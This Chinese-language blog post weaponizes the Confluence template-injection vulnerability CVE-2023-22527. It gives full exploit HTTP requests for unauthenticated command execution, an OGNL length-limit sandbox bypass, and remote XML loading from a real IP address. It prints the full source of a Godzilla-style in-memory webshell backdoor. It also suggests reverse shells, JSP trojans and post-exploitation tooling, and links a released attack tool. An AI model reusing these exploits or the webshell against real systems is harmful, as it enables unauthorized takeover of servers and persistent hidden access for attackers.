February 29, 2024

Atlassian Confluence CVE-2023-22527 分析及武器化实现

0-0 参考文献

文章在先知社区首发

Atlassian Confluence 模板注入代码执行漏洞(CVE-2023-22527) - 先知社区
Bypassing OGNL sandboxes for fun and charities

0-1 简要分析

漏洞点源自于/template/aui/text-inline.vm路由的一个未授权访问,这是一个velocity模板文件,该模板文件内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#set( $labelValue = $stack.findValue("getText('$parameters.label')") )
#if( !$labelValue )
#set( $labelValue = $parameters.label )
#end

#if (!$parameters.id)
#set( $parameters.id = $parameters.name)
#end

<label id="${parameters.id}-label" for="$parameters.id">
$!labelValue
#if($parameters.required)
<span class="aui-icon icon-required"></span>
<span class="content">$parameters.required</span>
#end
</label>

#parse("/template/aui/text-include.vm")


漏洞点自然就在$stack.findValue("getText('$parameters.label')明显的一段OgnlStack的findValue操作,那么label参数就会被ognl解析。因此payload第一段为

1
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027

用unicode是为了防止url编码导致参数传入失败。并且Ognl是支持unicode编码的。之后就是poc的第二段

1
[email protected]@getResponse().setHeader('Cmd-Responses-Header',(new freemarker.template.utility.Execute()).exec({"id"}))

用freemarker去做命令执行处理,cmd回显策略。这一段就是很普通的ognl命令回显了,并没有什么其他的操作。

0-1.1 有趣的思考

image.png
漏洞点中的context如上图所示,内容为

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
"com.opensymphony.xwork2.ActionContext.locale" -> {Locale@66441} 
"request" -> {RequestMap@66442} size = 32
key = "request"
value = {RequestMap@66442} size = 32
"__prepare_recursion_counter" -> {Integer@66509} 1
"org.apache.catalina.AccessLog.RemoteHost" -> "127.0.0.1"
"com.atlassian.confluence.util.message.MessagesDecoratorFilter__already_filtered__" -> {Boolean@66513} true
"Confluence-Request-Time" -> {Long@66515} 1707673048234
"com.opensymphony.sitemesh.APPLIED_ONCE" -> {Boolean@66513} true
"org.apache.tomcat.remoteAddr" -> "127.0.0.1"
"B3-TraceId" -> "a981718bad3947"
"struts.actionMapping" -> "noActionMapping"
"__wrap_recursion_counter" -> {Integer@66509} 1
"org.apache.catalina.AccessLog.Protocol" -> "HTTP/1.1"
".KEY_velocity.struts2.context" -> {StrutsVelocityContext@66526}
"com.atlassian.confluence.web.ConfluenceJohnsonFilter_already_filtered" -> {Boolean@66513} true
"brave.propagation.TraceContext" -> {TraceContext@66529}
"com.atlassian.gzipfilter.GzipFilter_already_filtered" -> {Boolean@66513} true
"org.apache.catalina.AccessLog.ServerName" -> "localhost"
"atlassian.core.seraph.original.url" -> "/template/aui/text-inline.vm"
"com.atlassian.labs.botkiller.BotKillerFilter" -> {Boolean@66513} true
"sessioninview.FILTERED" -> {Boolean@66513} true
"org.apache.struts2.dispatcher.filter.StrutsPrepareFilter.REQUEST_EXCLUDED_FROM_ACTION_MAPPING" -> {Boolean@66538} false
"com.atlassian.confluence.web.filter.validateparam.RequestParamValidationFilter_already_filtered" -> {Boolean@66513} true
"brave.servlet.TracingFilter$SendHandled" -> {TracingFilter$SendHandled@66541}
"brave.SpanCustomizer" -> {SpanCustomizerShield@66543}
"sitemesh.secondaryStorageLimit" -> {Long@66545} -1
"org.apache.tomcat.request.forwarded" -> {Boolean@66513} true
"com.atlassian.prettyurls.filter.PrettyUrlsSiteMeshFilter" -> {Boolean@66513} true
"org.apache.catalina.AccessLog.ServerPort" -> {Integer@66549} 8090
"os_securityfilter_already_filtered" -> {Boolean@66513} true
"com.atlassian.core.filters.HeaderSanitisingFilter_already_filtered" -> {Boolean@66513} true
"com.atlassian.prettyurls.filter.PrettyUrlsSiteMeshFixupFilter" -> {Boolean@66513} true
"loginfilter.already.filtered" -> {Boolean@66513} true
"com.atlassian.confluence.impl.profiling.DecoratorTimings" -> {DecoratorTimings@66555}
"org.apache.catalina.AccessLog.RemoteAddr" -> "127.0.0.1"
"session" -> {SessionMap@66443} size = 1
"com.opensymphony.xwork2.dispatcher.PageContext" -> {PageContextImpl@66445}
"com.opensymphony.xwork2.util.ValueStack.ValueStack" -> {OgnlValueStack@60828}
"com.opensymphony.xwork2.ActionContext.container" -> {ContainerImpl@66448}
"com.opensymphony.xwork2.dispatcher.HttpServletRequest" -> {StrutsRequestWrapper@60863}
"com.opensymphony.xwork2.dispatcher.HttpServletResponse" -> {OAuthFilter$OAuthWWWAuthenticateAddingResponse@66451}
"last.property.accessed" -> null
"com.opensymphony.xwork2.ActionContext.parameters" -> {HttpParameters@66454} size = 2
"com.opensymphony.xwork2.dispatcher.ServletContext" -> {StandardContext$NoPluggabilityServletContext@66456}
"last.bean.accessed" -> null
"com.opensymphony.xwork2.ActionContext.application" -> {ApplicationMap@66459} size = 21
"com.opensymphony.xwork2.ActionContext.session" -> {SessionMap@66443} size = 1
"application" -> {ApplicationMap@66459} size = 21
"attr" -> {AttributeMap@66463} Unable to evaluate the expression Method threw 'java.lang.UnsupportedOperationException' exception.
"current.property.path" -> null
"parameters" -> {HttpParameters@66454} size = 2

其中.KEY_velocity.struts2.context对应获取context上下文,那么这些其他的属性呢?我们也是可以获取的,是否有其他利用点呢?我相信答案肯定是有的,这里笔者就不偏离主题了,只阐述一下一种可能的思路。今天的重点是武器化

0-2 武器化实现

0-2.1 出网

0-2.1.1 ClassPathXmlApplicationContext

出网的话解决方法也好说,Poc如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 193

label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=#a=new org.springframework.context.support.ClassPathXmlApplicationContext('http://8.130.24.188:8888/1.xml')

image.png
这个Poc首先是成立的,然后假如想进一步利用就利用SPEL去注入内存马即可了。
exp的模板如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:spring="http://camel.apache.org/schema/spring"
xmlns:context="http://www.springframework.org/schema/context"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd
http://camel.apache.org/schema/spring
http://camel.apache.org/schema/spring/camel-spring.xsd
http://www.springframework.org/schema/context
http://www.springframework.org/schema/context/spring-context.xsd">
<context:property-placeholder ignore-resource-not-found="false" ignore
unresolvable="false"/>
<bean id="ClassBase64Str" class="java.lang.String">
<constructor-arg
value="<base64>">
</constructor-arg>
</bean>
<bean class="#
{T(org.springframework.cglib.core.ReflectUtils).defineClass('<classname>',T(org.springframework.util.Base64Utils).decodeFromString(ClassBase64Str.to
String()),new javax.management.loading.MLet(new
java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())
).newInstance().test1()}">
</bean>
</beans>

这样的话我们也可以达到一种武器化。但是既然都出网了,我们为什么不反弹shell然后做后渗透呢?你说得对,这一是一种方法

0.2.1.2 Agent Memshell+ReverseShell

假如我们通过反弹shell获得了一个confluence权限,那么我们可以注入内存马吗?答案是肯定的,但是既然都拿到了反弹shell,我们当然也是可以直接上C2平台后渗透的,但是有时候有一些特殊的需求,我们是必须需要内存马的。
这时候可以使用vagent进行后渗透处理。
https://github.com/veo/vagent
使用效果如下,我们可以直接进行哥斯拉连接
image.png
至于agent内存马的原理就可以自行去了解,阅读一下vagent的源码会很有帮助~

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
public static Map targetClasses() {
Map targetClasses = new HashMap();
Map targetClassJavaxMap = new HashMap();
targetClassJavaxMap.put("methodName", "service");
List paramJavaxClsStrList = new ArrayList();
paramJavaxClsStrList.add("javax.servlet.ServletRequest");
paramJavaxClsStrList.add("javax.servlet.ServletResponse");
targetClassJavaxMap.put("paramList", paramJavaxClsStrList);
targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
Map targetClassJakartaMap = new HashMap();
targetClassJakartaMap.put("methodName", "service");
List paramJakartaClsStrList = new ArrayList();
paramJakartaClsStrList.add("jakarta.servlet.ServletRequest");
paramJakartaClsStrList.add("jakarta.servlet.ServletResponse");
targetClassJakartaMap.put("paramList", paramJakartaClsStrList);
targetClasses.put("javax.servlet.http.HttpServlet", targetClassJavaxMap);
targetClasses.put("jakarta.servlet.http.HttpServlet", targetClassJakartaMap);
if (ServerDetector.isWebLogic()) {
targetClasses.clear();
Map targetClassWeblogicMap = new HashMap();
targetClassWeblogicMap.put("methodName", "execute");
List paramWeblogicClsStrList = new ArrayList();
paramWeblogicClsStrList.add("javax.servlet.ServletRequest");
paramWeblogicClsStrList.add("javax.servlet.ServletResponse");
targetClassWeblogicMap.put("paramList", paramWeblogicClsStrList);
targetClasses.put("weblogic.servlet.internal.ServletStubImpl", targetClassWeblogicMap);
}
return targetClasses;
}

定义了很多targetclass,然后利用插秧技术直接插入了一段shellcode。非常不错的思路

0.2.1.3 Windows系统?

万一是windows系统呢?当然这种可能性很小,confluence一般都是部署在linux服务器上的。那假如是windows服务器,不能反弹shell,我们该怎么做?这里提供一种可能的思路,既然是tomcat部署的,我们直接笨一点,一段段的echo一个jsp木马进去就好了。

0.2.2 通杀思路

那万一不出网呢?是不是就歇逼了?当然不是,我们仍然是可以注入内存马的,但在这之前我们需要绕过一些东西。

0.2.2.1 长度绕过限制

当我们解析Ognl的时候,我们拿到的不是ognl.Ognl对象,而是ognltool对象,这个对象是默认加了黑名单以及一些过滤处理的。就比如下图中设置了maxLength为200
image.png
也就是我们的payload始终不能超过200,一旦超过了那么就会报错
image.png
这样的话payload就作废了,那么我们不妨先看看这个属性是什么
image.png
一个静态的static属性,全局检索一番不难发现
位于ognl.Ognl#applyExpressionMaxLength是可以设置length的
image.png
这个属性首先默认在配置文件中出现
image.png
在8.5.1中为200,在8.5.3是150,当然这都不要紧,因为我们是可以设置length的,我们可以通过调用applyExpressionMaxLength方法达到类似覆盖的效果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 190

label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&[email protected]@applyExpressionMaxLength(20000000)

image.png
可以看到,成功进入该方法设置属性值,第二次访问会发现属性已经被覆盖。
image.png

0.2.2.2 内存马注入

既然长度限制被我们解决了,那就可以注入内存马了,现在需要绕过的是Ognl内置的EvalChain检测和黑名单,这里我选择直接defineclass。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
POST /template/aui/text-inline.vm HTTP/1.1
Host: localhost:8090
Pragma: no-cache
Cache-Control: no-cache
sec-ch-ua: "Not A(Brand";v="99", "Microsoft Edge";v="121", "Chromium";v="121"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Edg/121.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 11331

label=aaa\u0027+#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})+\u0027&poc=(@org.springframework.cglib.core.ReflectUtils@defineClass('ConfluenceFilterMemshell',@org.springframework.util.Base64Utils@decodeFromString(''),@java.lang.Thread@currentThread().getContextClassLoader())).newInstance()

那么我们还该思考内存马怎么去构造,这里可以直接参考beichen师傅之前的内存马,但是需要做一些微小的变化

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
package main;

import java.io.PrintWriter;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.ArrayList;
import java.util.Base64;

public class ConfluenceFilterMemshell extends ClassLoader implements InvocationHandler {
private static boolean initialized = false;
private static Object lock = new Object();
private static Class payloadClass;
private static String password;
private static String key;
public ConfluenceFilterMemshell(ClassLoader loader){
super(loader);
}
public ConfluenceFilterMemshell(){
synchronized (lock){
if (!initialized){
try {
Class servletRequestListenerClass = null;
try {
servletRequestListenerClass = Class.forName("jakarta.servlet.ServletRequestListener");
} catch (Exception e) {
try {
servletRequestListenerClass = Class.forName("javax.servlet.ServletRequestListener");
} catch (ClassNotFoundException ex) {

}
}
if (servletRequestListenerClass!=null){
addListener(Proxy.newProxyInstance(Thread.currentThread().getContextClassLoader(),new Class[]{servletRequestListenerClass},this),getStandardContext());
}
}catch (Throwable e){

}
initialized = true;
}
}
}


private Object getStandardContext() {
try {
Object servletActionContextCompatManager = Class.forName("com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager").newInstance();
Method getRequest = Class.forName("com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager").getMethod("getRequest");
Object request = getRequest.invoke(servletActionContextCompatManager, null);
Object servletContext = invokeMethod(request, "getServletContext");
return getFieldValue(getFieldValue(servletContext,"context"), "context");
} catch (Exception e) {

return null;
}
}

private String addListener(Object listener,Object standardContext)throws Exception{
Method addApplicationEventListenerMethod = standardContext.getClass().getDeclaredMethod("addApplicationEventListener",Object.class);
addApplicationEventListenerMethod.setAccessible(true);
addApplicationEventListenerMethod.invoke(standardContext,listener);
return "ok";
}


public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
if (method.getName().equals("requestInitialized")){
Object servletRequestEvent = args[0];
backDoor(servletRequestEvent);
}
return null;
}

private Object invokeMethod(Object obj,String methodName,Object... parameters){
try {
ArrayList classes = new ArrayList();
if (parameters!=null){
for (int i=0;i<parameters.length;i++){
Object o1=parameters[i];
if (o1!=null){
classes.add(o1.getClass());
}else{
classes.add(null);
}
}
}
Method method=getMethodByClass(obj.getClass(), methodName, (Class[])classes.toArray(new Class[]{}));

return method.invoke(obj, parameters);
}catch (Exception e){
// e.printStackTrace();
}
return null;
}
private Method getMethodByClass(Class cs,String methodName,Class... parameters){
Method method=null;
while (cs!=null){
try {
method=cs.getMethod(methodName, parameters);
cs=null;
}catch (Exception e){
cs=cs.getSuperclass();
}
}
return method;
}
public static Object getFieldValue(Object obj, String fieldName) throws Exception {
Field f=null;
if (obj instanceof Field){
f=(Field)obj;
}else {
Method method=null;
Class cs=obj.getClass();
while (cs!=null){
try {
f=cs.getDeclaredField(fieldName);
cs=null;
}catch (Exception e){
cs=cs.getSuperclass();
}
}
}
f.setAccessible(true);
return f.get(obj);
}
public String getParameter(Object requestObject,String name) {
return (String) invokeMethod(requestObject, "getParameter", name);
}
public String getContentType(Object requestObject) {
return (String) invokeMethod(requestObject, "getContentType");
}


public byte[] aes(byte[] s,boolean m){
try{
javax.crypto.Cipher c=javax.crypto.Cipher.getInstance("AES");
c.init(m?1:2,new javax.crypto.spec.SecretKeySpec(key.getBytes(),"AES"));
return c.doFinal(s);
}catch (Exception e){
return null;
}
}

public static String md5(String s) {String ret = null;try {java.security.MessageDigest m;m = java.security.MessageDigest.getInstance("MD5");m.update(s.getBytes(), 0, s.length());ret = new java.math.BigInteger(1, m.digest()).toString(16).toUpperCase();} catch (Exception e) {}return ret; }

private void backDoor(Object servletRequestEvent) {
try {
Object request = invokeMethod(servletRequestEvent,"getServletRequest");
Object responseforvalidate = getFieldValue(getFieldValue(request, "request"), "response");
this.invokeMethod(responseforvalidate,"setHeader","X-Cmd-Result","ok");
if (true){
try {
String contentType = getContentType(request);
if (contentType!=null && contentType.contains("application/x-www-form-urlencoded")) {
String value = getParameter(request,password);
if (value!=null){
byte[] data = Base64.getDecoder().decode(value);
data = aes(data, false);
if (data != null && data.length > 0){
if (payloadClass == null) {
payloadClass = new ConfluenceFilterMemshell(request.getClass().getClassLoader()).defineClass(data,0,data.length);
} else {
java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream();
Object f = payloadClass.newInstance();
f.equals(arrOut);
f.equals(request);
f.equals(data);
f.toString();

String md5 = md5(password + key);
if (arrOut.size()>0) {
Object response = getFieldValue(getFieldValue(request,"request"),"response");
PrintWriter printWriter = (PrintWriter) invokeMethod(response,"getWriter");
printWriter.write(md5.substring(0, 16));
printWriter.write(Base64.getEncoder().encodeToString(aes(arrOut.toByteArray(), true)));
printWriter.write(md5.substring(16));
printWriter.flush();
printWriter.close();
}
}
}
}
}

}catch (Throwable e){
}
}
}catch (Exception e){

}
}


}

我们获取Context的类需要改为com.atlassian.confluence.compat.struts2.servletactioncontext.ServletActionContextCompatManager
最后即可成功注入内存马
image.png
image.png
image.png

工具制作

工具参考北辰师傅的[CVE-2022-26134-Godzilla-MEMSHELL](https://github.com/BeichenDream/CVE-2022-26134-Godzilla-MEMSHELL),做了些简单的改写。
已经在Github上传
https://github.com/Boogipop/CVE-2023-22527-Godzilla-MEMSHELL
师傅要是觉得不错的话可以给个Star支持一下呀

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CVE